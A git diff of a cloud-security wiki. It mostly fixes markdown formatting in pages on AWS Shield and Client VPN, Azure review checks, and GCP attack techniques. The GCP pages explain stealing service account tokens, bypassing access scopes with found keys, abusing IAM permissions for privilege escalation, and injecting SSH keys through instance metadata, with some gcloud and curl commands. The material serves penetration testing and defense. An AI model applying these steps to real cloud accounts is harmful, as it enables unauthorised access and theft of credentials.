compared to that of Standard. And you will also have **access to a 24-by-seven specialized DDoS response team at AWS, known as DRT**. +**AWS Shield advanced** offers a **greater level of protection** for DDoS attacks across a wider scope of AWS services for an additional cost. This advanced level offers protection against your web applications running on EC2, CloudFront, ELB and also Route 53. In addition to these additional resource types being protected, there are enhanced levels of DDoS protection offered compared to that of Standard. And you will also have **access to a 24-by-seven specialized DDoS response team at AWS, known as DRT**. Whereas the Standard version of Shield offered protection against layer three and layer four, **Advanced also offers protection against layer seven, application, attacks.** @@ -916,34 +916,34 @@ In addition, take the following into consideration when you use Site-to-Site VPN * When connecting your VPCs to a common on-premises network, we recommend that you use non-overlapping CIDR blocks for your networks. -### Components of Client VPN +### Components of Client VPN **Connect from your machine to your VPC** #### Concepts -* **Client VPN endpoint: **The resource that you create and configure to enable and manage client VPN sessions. It is the resource where all client VPN sessions are terminated. -* **Target network: **A target network is the network that you associate with a Client VPN endpoint. **A subnet from a VPC is a target network**. Associating a subnet with a Client VPN endpoint enables you to establish VPN sessions. You can associate multiple subnets with a Client VPN endpoint for high availability. All subnets must be from the same VPC. Each subnet must belong to a different Availability Zone. +* **Client VPN endpoint:** The resource that you create and configure to enable and manage client VPN sessions. It is the resource where all client VPN sessions are terminated. +* **Target network:** A target network is the network that you associate with a Client VPN endpoint. **A subnet from a VPC is a target network**. Associating a subnet with a Client VPN endpoint enables you to establish VPN sessions. You can associate multiple subnets with a Client VPN endpoint for high availability. All subnets must be from the same VPC. Each subnet must belong to a different Availability Zone. * **Route**: Each Client VPN endpoint has a route table that describes the available destination network routes. Each route in the route table specifies the path for traffic to specific resources or networks. -* **Authorization rules: **An authorization rule **restricts the users who can access a network**. For a specified network, you configure the Active Directory or identity provider (IdP) group that is allowed access. Only users belonging to this group can access the specified network. **By default, there are no authorization rules** and you must configure authorization rules to enable users to access resources and networks. -* **Client: **The end user connecting to the Client VPN endpoint to establish a VPN session. End users need to download an OpenVPN client and use the Client VPN configuration file that you created to establish a VPN session. -* **Client CIDR range: **An IP address range from which to assign client IP addresses. Each connection to the Client VPN endpoint is assigned a unique IP address from the client CIDR range. You choose the client CIDR range, for example, `10.2.0.0/16`. -* **Client VPN ports: **AWS Client VPN supports ports 443 and 1194 for both TCP and UDP. The default is port 443. -* **Client VPN network interfaces: **When you associate a subnet with your Client VPN endpoint, we create Client VPN network interfaces in that subnet. **Traffic that's sent to the VPC from the Client VPN endpoint is sent through a Client VPN network interface**. Source network address translation (SNAT) is then applied, where the source IP address from the client CIDR range is translated to the Client VPN network interface IP address. -* **Connection logging: **You can enable connection logging for your Client VPN endpoint to log connection events. You can use this information to run forensics, analyze how your Client VPN endpoint is being used, or debug connection issues. -* **Self-service portal: **You can enable a self-service portal for your Client VPN endpoint. Clients can log into the web-based portal using their credentials and download the latest version of the Client VPN endpoint configuration file, or the latest version of the AWS provided client. +* **Authorization rules:** An authorization rule **restricts the users who can access a network**. For a specified network, you configure the Active Directory or identity provider (IdP) group that is allowed access. Only users belonging to this group can access the specified network. **By default, there are no authorization rules** and you must configure authorization rules to enable users to access resources and networks. +* **Client:** The end user connecting to the Client VPN endpoint to establish a VPN session. End users need to download an OpenVPN client and use the Client VPN configuration file that you created to establish a VPN session. +* **Client CIDR range:** An IP address range from which to assign client IP addresses. Each connection to the Client VPN endpoint is assigned a unique IP address from the client CIDR range. You choose the client CIDR range, for example, `10.2.0.0/16`. +* **Client VPN ports:** AWS Client VPN supports ports 443 and 1194 for both TCP and UDP. The default is port 443. +* **Client VPN network interfaces:** When you associate a subnet with your Client VPN endpoint, we create Client VPN network interfaces in that subnet. **Traffic that's sent to the VPC from the Client VPN endpoint is sent through a Client VPN network interface**. Source network address translation (SNAT) is then applied, where the source IP address from the client CIDR range is translated to the Client VPN network interface IP address. +* **Connection logging:** You can enable connection logging for your Client VPN endpoint to log connection events. You can use this information to run forensics, analyze how your Client VPN endpoint is being used, or debug connection issues. +* **Self-service portal:** You can enable a self-service portal for your Client VPN endpoint. Clients can log into the web-based portal using their credentials and download the latest version of the Client VPN endpoint configuration file, or the latest version of the AWS provided client. #### Limitations * **Client CIDR ranges cannot overlap with the local CIDR** of the VPC in which the associated subnet is located, or any routes manually added to the Client VPN endpoint's route table. * Client CIDR ranges must have a block size of at **least /22** and must **not be greater than /12.** -* A **portion of the addresses** in the client CIDR range are used to** support the availability** model of the Client VPN endpoint, and cannot be assigned to clients. Therefore, we recommend that you **assign a CIDR block that contains twice the number of IP addresses that are required **to enable the maximum number of concurrent connections that you plan to support on the Client VPN endpoint. -* The** client CIDR range cannot be changed** after you create the Client VPN endpoint. +* A **portion of the addresses** in the client CIDR range are used to **support the availability** model of the Client VPN endpoint, and cannot be assigned to clients. Therefore, we recommend that you **assign a CIDR block that contains twice the number of IP addresses that are required** to enable the maximum number of concurrent connections that you plan to support on the Client VPN endpoint. +* The **client CIDR range cannot be changed** after you create the Client VPN endpoint. * The **subnets** associated with a Client VPN endpoint **must be in the same VPC**. * You **cannot associate multiple subnets from the same Availability Zone with a Client VPN endpoint**. * A Client VPN endpoint **does not support subnet associations in a dedicated tenancy VPC**. -* Client VPN supports **IPv4 **traffic only. -* Client VPN is **not **Federal Information Processing Standards (**FIPS**) **compliant**. +* Client VPN supports **IPv4** traffic only. +* Client VPN is **not** Federal Information Processing Standards (**FIPS**) **compliant**. * If multi-factor authentication (MFA) is disabled for your Active Directory, a user password cannot be in the following format. ``` @@ -953,13 +953,13 @@ In addition, take the following into consideration when you use Site-to-Site VPN ## Amazon Cognito -Amazon Cognito provides **authentication, authorization, and user management** for your web and mobile apps. Your users can sign in directly with a **user name and password**, or through a** third party** such as Facebook, Amazon, Google or Apple. +Amazon Cognito provides **authentication, authorization, and user management** for your web and mobile apps. Your users can sign in directly with a **user name and password**, or through a **third party** such as Facebook, Amazon, Google or Apple. The two main components of Amazon Cognito are user pools and identity pools. **User pools** are user directories that provide **sign-up and sign-in options for your app users**. **Identity pools** enable you to grant your users **access to other AWS services**. You can use identity pools and user pools separately or together. -### **User pools** +### **User pools** -A user pool is a user directory in Amazon Cognito. With a user pool, your users can **sign in to your web or mobile app **through Amazon Cognito, **or federate **through a **third-party **identity provider (IdP). Whether your users sign in directly or through a third party, all members of the user pool have a directory profile that you can access through an SDK. +A user pool is a user directory in Amazon Cognito. With a user pool, your users can **sign in to your web or mobile app** through Amazon Cognito, **or federate** through a **third-party** identity provider (IdP). Whether your users sign in directly or through a third party, all members of the user pool have a directory profile that you can access through an SDK. User pools provide: diff --git a/cloud-security/cloud-security-review.md b/cloud-security/cloud-security-review.md index 624ce875..4facc321 100644 --- a/cloud-security/cloud-security-review.md +++ b/cloud-security/cloud-security-review.md @@ -48,8 +48,8 @@ To start the tests you should have access with a user with **Reader permissions It is recommended to **install azure-cli** in a **linux** and **windows** virtual machines (to be able to run powershell and python scripts): [https://docs.microsoft.com/en-us/cli/azure/install-azure-cli?view=azure-cli-latest](https://docs.microsoft.com/en-us/cli/azure/install-azure-cli?view=azure-cli-latest)\ Then, run `az login` to login. Note the **account information** and **token** will be **saved** inside _\/.azure_ (in both Windows and Linux). -Remember that if the **Security Centre Standard Pricing Tier** is being used and **not** the **free** tier, you can **generate** a **CIS compliance scan report** from the azure portal. Go to _Policy & Compliance-> Regulatory Compliance_ (or try to access [https://portal.azure.com/#blade/Microsoft_Azure_Security/SecurityMenuBlade/22](https://portal.azure.com/#blade/Microsoft_Azure_Security/SecurityMenuBlade/22)).\ -\__If the company is not paying for a Standard account you may need to review the **CIS Microsoft Azure Foundations Benchmark** by "hand" (you can get some help using the following tools). Download it from [**here**](https://www.newnettechnologies.com/cis-benchmark.html?keyword=\&gclid=Cj0KCQjwyPbzBRDsARIsAFh15JYSireQtX57C6XF8cfZU3JVjswtaLFJndC3Hv45YraKpLVDgLqEY6IaAhsZEALw_wcB#microsoft-azure). +Remember that if the **Security Centre Standard Pricing Tier** is being used and **not** the **free** tier, you can **generate** a **CIS compliance scan report** from the azure portal. Go to _Policy & Compliance-> Regulatory Compliance_ (or try to access [https://portal.azure.com/#blade/Microsoft\_Azure\_Security/SecurityMenuBlade/22](https://portal.azure.com/#blade/Microsoft\_Azure\_Security/SecurityMenuBlade/22)).\ +\_\_If the company is not paying for a Standard account you may need to review the **CIS Microsoft Azure Foundations Benchmark** by "hand" (you can get some help using the following tools). Download it from [**here**](https://www.newnettechnologies.com/cis-benchmark.html?keyword=\&gclid=Cj0KCQjwyPbzBRDsARIsAFh15JYSireQtX57C6XF8cfZU3JVjswtaLFJndC3Hv45YraKpLVDgLqEY6IaAhsZEALw\_wcB#microsoft-azure). ### Run scanners @@ -78,13 +78,13 @@ azscan #Run, login before with `az login` ### More checks -* Check for a **high number of Global Admin** (between 2-4 are recommended). Access it on: [https://portal.azure.com/#blade/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/Overview](https://portal.azure.com/#blade/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/Overview) +* Check for a **high number of Global Admin** (between 2-4 are recommended). Access it on: [https://portal.azure.com/#blade/Microsoft\_AAD\_IAM/ActiveDirectoryMenuBlade/Overview](https://portal.azure.com/#blade/Microsoft\_AAD\_IAM/ActiveDirectoryMenuBlade/Overview) * Global admins should have MFA activated. Go to Users and click on Multi-Factor Authentication button. ![](<../.gitbook/assets/image (293).png>) * Dedicated admin account shouldn't have mailboxes (they can only have mailboxes if they have Office 365). -* Local AD shouldn't be sync with Azure AD if not needed([https://portal.azure.com/#blade/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/AzureADConnect](https://portal.azure.com/#blade/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/AzureADConnect)). And if synced Password Hash Sync should be enabled for reliability. In this case it's disabled: +* Local AD shouldn't be sync with Azure AD if not needed([https://portal.azure.com/#blade/Microsoft\_AAD\_IAM/ActiveDirectoryMenuBlade/AzureADConnect](https://portal.azure.com/#blade/Microsoft\_AAD\_IAM/ActiveDirectoryMenuBlade/AzureADConnect)). And if synced Password Hash Sync should be enabled for reliability. In this case it's disabled: ![](<../.gitbook/assets/image (294).png>) @@ -92,8 +92,8 @@ azscan #Run, login before with `az login` ![](<../.gitbook/assets/image (295).png>) -* **Standard tier** is recommended instead of free tier (see the tier being used in _Pricing & Settings_ or in [https://portal.azure.com/#blade/Microsoft_Azure_Security/SecurityMenuBlade/24](https://portal.azure.com/#blade/Microsoft_Azure_Security/SecurityMenuBlade/24)) -* **Periodic SQL servers scans**: +* **Standard tier** is recommended instead of free tier (see the tier being used in _Pricing & Settings_ or in [https://portal.azure.com/#blade/Microsoft\_Azure\_Security/SecurityMenuBlade/24](https://portal.azure.com/#blade/Microsoft\_Azure\_Security/SecurityMenuBlade/24)) +* **Periodic SQL servers scans**: _Select the SQL server_ --> _Make sure that 'Advanced data security' is set to 'On'_ --> _Under 'Vulnerability assessment settings', set 'Periodic recurring scans' to 'On', and configure a storage account for storing vulnerability assessment scan results_ --> _Click Save_ * **Lack of App Services restrictions**: Look for "App Services" in Azure ([https://portal.azure.com/#blade/HubsExtension/BrowseResource/resourceType/Microsoft.Web%2Fsites](https://portal.azure.com/#blade/HubsExtension/BrowseResource/resourceType/Microsoft.Web%2Fsites)) and check if anyone is being used. In that case check go through each App checking for "Access Restrictions" and there aren't rules, report it. The access to the app service should be restricted according to the needs. @@ -108,3 +108,6 @@ Get objects in graph: [https://github.com/FSecureLABS/awspx](https://github.com/ ## GPC +{% content-ref url="gcp-security/" %} +[gcp-security](gcp-security/) +{% endcontent-ref %} diff --git a/cloud-security/gcp-security/README.md b/cloud-security/gcp-security/README.md index f56fbcb0..573d646a 100644 --- a/cloud-security/gcp-security/README.md +++ b/cloud-security/gcp-security/README.md @@ -2,7 +2,7 @@ ![](<../../.gitbook/assets/image (629) (1) (1).png>) -## Security concepts +## Security concepts ### **Resource hierarchy** @@ -21,15 +21,15 @@ A virtual machine (called a Compute Instance) is a resource. A resource resides ### **IAM Roles** -There are** three types** of roles in IAM: +There are **three types** of roles in IAM: * **Basic/Primitive roles**, which include the **Owner**, **Editor**, and **Viewer** roles that existed prior to the introduction of IAM. -* **Predefined roles**, which provide granular access for a specific service and are managed by Google Cloud. There are a lot of predefined roles, you can **see all of them with the privileges they have **[**here**](https://cloud.google.com/iam/docs/understanding-roles#predefined\_roles). +* **Predefined roles**, which provide granular access for a specific service and are managed by Google Cloud. There are a lot of predefined roles, you can **see all of them with the privileges they have** [**here**](https://cloud.google.com/iam/docs/understanding-roles#predefined\_roles). * **Custom roles**, which provide granular access according to a user-specified list of permissions. There are thousands of permissions in GCP. In order to check if a role has a permissions you can [**search the permission here**](https://cloud.google.com/iam/docs/permissions-reference) and see which roles have it. -**You can also **[**search here predefined roles**](https://cloud.google.com/iam/docs/understanding-roles#product\_specific\_documentation)** offered by each product.** +**You can also** [**search here predefined roles**](https://cloud.google.com/iam/docs/understanding-roles#product\_specific\_documentation) **offered by each product.** #### Basic roles @@ -68,7 +68,7 @@ gcloud compute instances get-iam-policy [INSTANCE] --zone [ZONE] ### **Service accounts** -Virtual machine instances are usually **assigned a service account**. Every GCP project has a [default service account](https://cloud.google.com/compute/docs/access/service-accounts#default\_service\_account), and this will be assigned to new Compute Instances unless otherwise specified. Administrators can choose to use either a custom account or no account at all. This service account** can be used by any user or application on the machine** to communicate with the Google APIs. You can run the following command to see what accounts are available to you: +Virtual machine instances are usually **assigned a service account**. Every GCP project has a [default service account](https://cloud.google.com/compute/docs/access/service-accounts#default\_service\_account), and this will be assigned to new Compute Instances unless otherwise specified. Administrators can choose to use either a custom account or no account at all. This service account **can be used by any user or application on the machine** to communicate with the Google APIs. You can run the following command to see what accounts are available to you: ``` gcloud auth list @@ -81,7 +81,7 @@ PROJECT_NUMBER-compute@developer.gserviceaccount.com PROJECT_ID@appspot.gserviceaccount.com ``` -A** custom service account **will look like this: +A **custom service account** will look like this: ``` SERVICE_ACCOUNT_NAME@PROJECT_NAME.iam.gserviceaccount.com @@ -91,7 +91,7 @@ If `gcloud auth list` returns **multiple** accounts **available**, something int ### **Access scopes** -The **service account** on a GCP Compute Instance will **use** **OAuth** to communicate with the Google Cloud APIs. When [access scopes](https://cloud.google.com/compute/docs/access/service-accounts#accesscopesiam) are used, the OAuth token that is generated for the instance will **have a **[**scope**](https://oauth.net/2/scope/)** limitation included**. This defines **what API endpoints it can authenticate to**. It does **NOT define the actual permissions**. +The **service account** on a GCP Compute Instance will **use** **OAuth** to communicate with the Google Cloud APIs. When [access scopes](https://cloud.google.com/compute/docs/access/service-accounts#accesscopesiam) are used, the OAuth token that is generated for the instance will **have a** [**scope**](https://oauth.net/2/scope/) **limitation included**. This defines **what API endpoints it can authenticate to**. It does **NOT define the actual permissions**. When using a **custom service account**, Google [recommends](https://cloud.google.com/compute/docs/access/service-accounts#service\_account\_permissions) that access scopes are not used and to **rely totally on IAM**. The web management portal actually enforces this, but access scopes can still be applied to instances using custom service accounts programatically. @@ -128,7 +128,7 @@ This `cloud-platform` scope is what we are really hoping for, as it will allow u It is possible to encounter some **conflicts** when using both **IAM and access scopes**. For example, your service account may have the IAM role of `compute.instanceAdmin` but the instance you've breached has been crippled with the scope limitation of `https://www.googleapis.com/auth/compute.readonly`. This would prevent you from making any changes using the OAuth token that's automatically assigned to your instance. -### Default credentials +### Default credentials **Default service account token** @@ -151,7 +151,7 @@ Which will receive a response like the following: } ``` -This token is the **combination of the service account and access scopes** assigned to the Compute Instance. So, even though your service account may have **every IAM privilege **imaginable, this particular OAuth token **might be limited** in the APIs it can communicate with due to **access scopes**. +This token is the **combination of the service account and access scopes** assigned to the Compute Instance. So, even though your service account may have **every IAM privilege** imaginable, this particular OAuth token **might be limited** in the APIs it can communicate with due to **access scopes**. **Application default credentials** @@ -262,11 +262,11 @@ Supposing that you have compromised a VM in GCP, there are some **GCP privileges If you have found some [**SSRF vulnerability in a GCP environment check this page**](../../pentesting-web/ssrf-server-side-request-forgery.md#6440). -## Cloud privilege escalation +## Cloud privilege escalation -### GCP Interesting Permissions +### GCP Interesting Permissions -The most common way once you have obtained some cloud credentials of has compromised some service running inside a cloud is to **abuse miss-configured privileges **the compromised account may have. So, the first thing you should do is to enumerate your privileges. +The most common way once you have obtained some cloud credentials of has compromised some service running inside a cloud is to **abuse miss-configured privileges** the compromised account may have. So, the first thing you should do is to enumerate your privileges. Moreover, during this enumeration, remember that **permissions can be set at the highest level of "Organization"** as well. @@ -274,9 +274,9 @@ Moreover, during this enumeration, remember that **permissions can be set at the [gcp-interesting-permissions.md](gcp-interesting-permissions.md) {% endcontent-ref %} -### Bypassing access scopes +### Bypassing access scopes -When [access scopes](https://cloud.google.com/compute/docs/access/service-accounts#accesscopesiam) are used, the OAuth token that is generated for the computing instance (VM) will **have a **[**scope**](https://oauth.net/2/scope/)** limitation included**. However, you might be able to **bypass** this limitation and exploit the permissions the compromised account has. +When [access scopes](https://cloud.google.com/compute/docs/access/service-accounts#accesscopesiam) are used, the OAuth token that is generated for the computing instance (VM) will **have a** [**scope**](https://oauth.net/2/scope/) **limitation included**. However, you might be able to **bypass** this limitation and exploit the permissions the compromised account has. The **best way to bypass** this restriction is either to **find new credentials** in the compromised host, to **find the service key to generate an OUATH token** without restriction or to **jump to a different VM less restricted**. @@ -290,7 +290,7 @@ Also keep an eye out for instances that have the default service account assigne Google states very clearly [**"Access scopes are not a security mechanism… they have no effect when making requests not authenticated through OAuth"**](https://cloud.google.com/compute/docs/access/service-accounts#accesscopesiam). -Therefore, if you **find a **[**service account key**](https://cloud.google.com/iam/docs/creating-managing-service-account-keys)** **stored on the instance you can bypass the limitation. These are **RSA private keys** that can be used to authenticate to the Google Cloud API and **request a new OAuth token with no scope limitations**. +Therefore, if you **find a** [**service account key**](https://cloud.google.com/iam/docs/creating-managing-service-account-keys) **** stored on the instance you can bypass the limitation. These are **RSA private keys** that can be used to authenticate to the Google Cloud API and **request a new OAuth token with no scope limitations**. Check if any service account has exported a key at some point with: @@ -320,7 +320,7 @@ The contents of the file look something like this: } ``` -Or, if **generated from the CLI **they will look like this: +Or, if **generated from the CLI** they will look like this: ```json { @@ -350,7 +350,7 @@ You should see `https://www.googleapis.com/auth/cloud-platform` listed in the sc -### Service account impersonation +### Service account impersonation Impersonating a service account can be very useful to **obtain new and better privileges**. @@ -360,7 +360,7 @@ There are three ways in which you can [impersonate another service account](http * Authorization **using Cloud IAM policies** (covered [here](gcp-iam-escalation.md#iam.serviceaccounttokencreator)) * **Deploying jobs on GCP services** (more applicable to the compromise of a user account) -### Granting access to management console +### Granting access to management console Access to the [GCP management console](https://console.cloud.google.com) is **provided to user accounts, not service accounts**. To log in to the web interface, you can **grant access to a Google account** that you control. This can be a generic "**@gmail.com**" account, it does **not have to be a member of the target organization**. @@ -376,7 +376,7 @@ If you succeeded here, try **accessing the web interface** and exploring from th This is the **highest level you can assign using the gcloud tool**. -### Spreading to Workspace via domain-wide delegation of authority +### Spreading to Workspace via domain-wide delegation of authority [**Workspace**](https://gsuite.google.com) is Google's c**ollaboration and productivity platform** which consists of things like Gmail, Google Calendar, Google Drive, Google Docs, etc. @@ -384,13 +384,13 @@ This is the **highest level you can assign using the gcloud tool**. Workspace has [its own API](https://developers.google.com/gsuite/aspects/apis), completely separate from GCP. Permissions are granted to Workspace and **there isn't any default relation between GCP and Workspace**. -However, it's possible to **give** a service account **permissions** over a Workspace user. If you have access to the Web UI at this point, you can browse to **IAM -> Service Accounts** and see if any of the accounts have **"Enabled" listed under the "domain-wide delegation" column**. The column itself may **not appear if no accounts are enabled **(you can read the details of each service account to confirm this). As of this writing, there is no way to do this programatically, although there is a [request for this feature](https://issuetracker.google.com/issues/116182848) in Google's bug tracker. +However, it's possible to **give** a service account **permissions** over a Workspace user. If you have access to the Web UI at this point, you can browse to **IAM -> Service Accounts** and see if any of the accounts have **"Enabled" listed under the "domain-wide delegation" column**. The column itself may **not appear if no accounts are enabled** (you can read the details of each service account to confirm this). As of this writing, there is no way to do this programatically, although there is a [request for this feature](https://issuetracker.google.com/issues/116182848) in Google's bug tracker. To create this relation it's needed to **enable it in GCP and also in Workforce**. #### Test Workspace access -To test this access you'll need the** service account credentials exported in JSON** format. You may have acquired these in an earlier step, or you may have the access required now to create a key for a service account you know to have domain-wide delegation enabled. +To test this access you'll need the **service account credentials exported in JSON** format. You may have acquired these in an earlier step, or you may have the access required now to create a key for a service account you know to have domain-wide delegation enabled. This topic is a bit tricky… your service account has something called a "client\_email" which you can see in the JSON credential file you export. It probably looks something like `account-name@project-name.iam.gserviceaccount.com`. If you try to access Workforce API calls directly with that email, even with delegation enabled, you will fail. This is because the Workforce directory will not include the GCP service account's email addresses. Instead, to interact with Workforce, we need to actually impersonate valid Workforce users. diff --git a/cloud-security/gcp-security/gcp-buckets-brute-force-and-privilege-escalation.md b/cloud-security/gcp-security/gcp-buckets-brute-force-and-privilege-escalation.md index 0643f3cb..37b91613 100644 --- a/cloud-security/gcp-security/gcp-buckets-brute-force-and-privilege-escalation.md +++ b/cloud-security/gcp-security/gcp-buckets-brute-force-and-privilege-escalation.md @@ -25,7 +25,7 @@ The following tools can be used to generate variations of the name given and sea ## Privilege Escalation -If the bucket policy allowed either “allUsers” or “allAuthenticatedUsers” to **write to their bucket policy **(the **storage.buckets.setIamPolicy** permission)**, **then anyone can modify the bucket policy and grant himself full access. +If the bucket policy allowed either “allUsers” or “allAuthenticatedUsers” to **write to their bucket policy** (the **storage.buckets.setIamPolicy** permission)**,** then anyone can modify the bucket policy and grant himself full access. ### Check Permissions diff --git a/cloud-security/gcp-security/gcp-compute-enumeration.md b/cloud-security/gcp-security/gcp-compute-enumeration.md index 2a268496..bd17d606 100644 --- a/cloud-security/gcp-security/gcp-compute-enumeration.md +++ b/cloud-security/gcp-security/gcp-compute-enumeration.md @@ -84,13 +84,13 @@ If you compromises a compute instance you should also check the actions mentione ### Custom Images -**Custom compute images may contain sensitive details **or other vulnerable configurations that you can exploit. You can query the list of non-standard images in a project with the following command: +**Custom compute images may contain sensitive details** or other vulnerable configurations that you can exploit. You can query the list of non-standard images in a project with the following command: ``` gcloud compute images list --no-standard-images ``` -You can then** **[**export**](https://cloud.google.com/sdk/gcloud/reference/compute/images/export)** the virtual disks **from any image in multiple formats. The following command would export the image `test-image` in qcow2 format, allowing you to download the file and build a VM locally for further investigation: +You can then **** [**export**](https://cloud.google.com/sdk/gcloud/reference/compute/images/export) **the virtual disks** from any image in multiple formats. The following command would export the image `test-image` in qcow2 format, allowing you to download the file and build a VM locally for further investigation: ```bash gcloud compute images export --image test-image \ diff --git a/cloud-security/gcp-security/gcp-interesting-permissions.md b/cloud-security/gcp-security/gcp-interesting-permissions.md index f0cd398a..33b34074 100644 --- a/cloud-security/gcp-security/gcp-interesting-permissions.md +++ b/cloud-security/gcp-security/gcp-interesting-permissions.md @@ -10,7 +10,7 @@ This single permission lets you **launch new deployments** of resources into GCP ![](<../../.gitbook/assets/image (626) (1).png>) -In the following example [this script](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/deploymentmanager.deployments.create.py) is used to deploy a compute instance, but any resource listed in `gcloud deployment-manager types list`_ _could be actually deployed: +In the following example [this script](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/deploymentmanager.deployments.create.py) is used to deploy a compute instance, but any resource listed in `gcloud deployment-manager types list` __ could be actually deployed: ## IAM @@ -62,7 +62,7 @@ The exploit script for this method can be found [here](https://github.com/RhinoS ### iam.serviceAccounts.signBlob -The _iam.serviceAccounts.signBlob_ permission “allows signing of arbitrary payloads” in GCP. This means we can **create a signed blob that requests an access token from the Service Account **we are targeting. +The _iam.serviceAccounts.signBlob_ permission “allows signing of arbitrary payloads” in GCP. This means we can **create a signed blob that requests an access token from the Service Account** we are targeting. ![](https://rhinosecuritylabs.com/wp-content/uploads/2020/04/image4-1000x168.png) @@ -125,7 +125,7 @@ For this method, we will be **creating a new Cloud Function with an associated S The **required permissions** for this method are as follows: -* _cloudfunctions.functions.call _**OR**_ cloudfunctions.functions.setIamPolicy_ +* _cloudfunctions.functions.call_ **OR** _cloudfunctions.functions.setIamPolicy_ * _cloudfunctions.functions.create_ * _cloudfunctions.functions.sourceCodeSet_ * _iam.serviceAccounts.actAs_ @@ -174,13 +174,13 @@ The exploit script for this method can be found [here](https://github.com/RhinoS ### run.services.create (iam.serviceAccounts.actAs) -Similar to the _cloudfunctions.functions.create_ method, this method creates a **new Cloud Run Service **that, when invoked, **returns the Service Account’s** access token by accessing the metadata API of the server it is running on. A Cloud Run service will be deployed and a request can be performed to it to get the token. +Similar to the _cloudfunctions.functions.create_ method, this method creates a **new Cloud Run Service** that, when invoked, **returns the Service Account’s** access token by accessing the metadata API of the server it is running on. A Cloud Run service will be deployed and a request can be performed to it to get the token. The following **permissions are required** for this method: * _run.services.create_ * _iam.serviceaccounts.actAs_ -* _run.services.setIamPolicy _**OR**_ run.routes.invoke_ +* _run.services.setIamPolicy_ **OR** _run.routes.invoke_ ![](https://rhinosecuritylabs.com/wp-content/uploads/2020/04/image8-1000x503.png) @@ -216,7 +216,7 @@ A similar method may be possible with Cloud Tasks, but we were not able to do it ### orgpolicy.policy.set -This method does **not necessarily grant you more IAM permissions**, but it may **disable some barriers **that are preventing certain actions. For example, there is an Organization Policy constraint named _appengine.disableCodeDownload_ that prevents App Engine source code from being downloaded by users of the project. If this was enabled, you would not be able to download that source code, but you could use _orgpolicy.policy.set_ to disable the constraint and then continue with the source code download. +This method does **not necessarily grant you more IAM permissions**, but it may **disable some barriers** that are preventing certain actions. For example, there is an Organization Policy constraint named _appengine.disableCodeDownload_ that prevents App Engine source code from being downloaded by users of the project. If this was enabled, you would not be able to download that source code, but you could use _orgpolicy.policy.set_ to disable the constraint and then continue with the source code download. ![](https://rhinosecuritylabs.com/wp-content/uploads/2020/04/image5-1.png) @@ -266,7 +266,7 @@ The exploit script for this method can be found [here](https://github.com/RhinoS ## \*.setIamPolicy -If you owns a user that has the **`setIamPolicy`** permission in a resource you can **escalate privileges in that resource **because you will be able to change the IAM policy of that resource and give you more privileges over it. +If you owns a user that has the **`setIamPolicy`** permission in a resource you can **escalate privileges in that resource** because you will be able to change the IAM policy of that resource and give you more privileges over it. A few that are worth looking into for privilege escalation are listed here: diff --git a/cloud-security/gcp-security/gcp-local-privilege-escalation-ssh-pivoting.md b/cloud-security/gcp-security/gcp-local-privilege-escalation-ssh-pivoting.md index a7041b01..756d8588 100644 --- a/cloud-security/gcp-security/gcp-local-privilege-escalation-ssh-pivoting.md +++ b/cloud-security/gcp-security/gcp-local-privilege-escalation-ssh-pivoting.md @@ -4,7 +4,7 @@ in this scenario we are going to suppose that you **have compromised a non privi Amazingly, GPC permissions of the compute engine you have compromised may help you to **escalate privileges locally inside a machine**. Even if that won't always be very helpful in a cloud environment, it's good to know it's possible. -## Read the scripts +## Read the scripts **Compute Instances** are probably there to **execute some scripts** to perform actions with their service accounts. @@ -30,7 +30,7 @@ curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?re -H "Metadata-Flavor: Google" ``` -## Modifying the metadata +## Modifying the metadata If you can **modify the instance's metadata**, there are numerous ways to escalate privileges locally. There are a few scenarios that can lead to a service account with this permission: @@ -48,7 +48,7 @@ Although Google [recommends](https://cloud.google.com/compute/docs/access/servic * `https://www.googleapis.com/auth/compute` * `https://www.googleapis.com/auth/cloud-platfo`rm -## **Add SSH keys ** +## **Add SSH keys** ### **Add SSH keys to custom metadata** @@ -101,7 +101,7 @@ bob:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2fNZlw22d3mIAcfRV24bmIrOUn8l9qgOGj1LQ alice:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDnthNXHxi31LX8PlsGdIF/wlWmI0fPzuMrv7Z6rqNNgDYOuOFTpM1Sx/vfvezJNY+bonAPhJGTRCwAwytXIcW6JoeX5NEJsvEVSAwB1scOSCEAMefl0FyIZ3ZtlcsQ++LpNszzErreckik3aR+7LsA2TCVBjdlPuxh4mvWBhsJAjYS7ojrEAtQsJ0mBSd20yHxZNuh7qqG0JTzJac7n8S5eDacFGWCxQwPnuINeGoacTQ+MWHlbsYbhxnumWRvRiEm7+WOg2vPgwVpMp4sgz0q5r7n/l7YClvh/qfVquQ6bFdpkVaZmkXoaO74Op2Sd7C+MBDITDNZPpXIlZOf4OLb alice ``` -Now, you can** re-write the SSH key metadata** for your instance with the following command: +Now, you can **re-write the SSH key metadata** for your instance with the following command: ```bash gcloud compute instances add-metadata [INSTANCE] --metadata-from-file ssh-keys=meta.txt @@ -151,7 +151,7 @@ This will **generate a new SSH key, add it to your existing user, and add your e ## **Using OS Login** -[OS Login](https://cloud.google.com/compute/docs/oslogin/) is an alternative to managing SSH keys. It links a** Google user or service account to a Linux identity**, relying on IAM permissions to grant or deny access to Compute Instances. +[OS Login](https://cloud.google.com/compute/docs/oslogin/) is an alternative to managing SSH keys. It links a **Google user or service account to a Linux identity**, relying on IAM permissions to grant or deny access to Compute Instances. OS Login is [enabled](https://cloud.google.com/compute/docs/instances/managing-instance-access#enable\_oslogin) at the project or instance level using the metadata key of `enable-oslogin = TRUE`. @@ -164,11 +164,11 @@ The following two **IAM permissions control SSH access to instances with OS Logi Unlike managing only with SSH keys, these permissions allow the administrator to control whether or not `sudo` is granted. -If your service account has these permissions.** You can simply run the `gcloud compute ssh [INSTANCE]`** command to [connect manually as the service account](https://cloud.google.com/compute/docs/instances/connecting-advanced#sa\_ssh\_manual). **Two-factor **is **only** enforced when using **user accounts**, so that should not slow you down even if it is assigned as shown above. +If your service account has these permissions. **You can simply run the `gcloud compute ssh [INSTANCE]`** command to [connect manually as the service 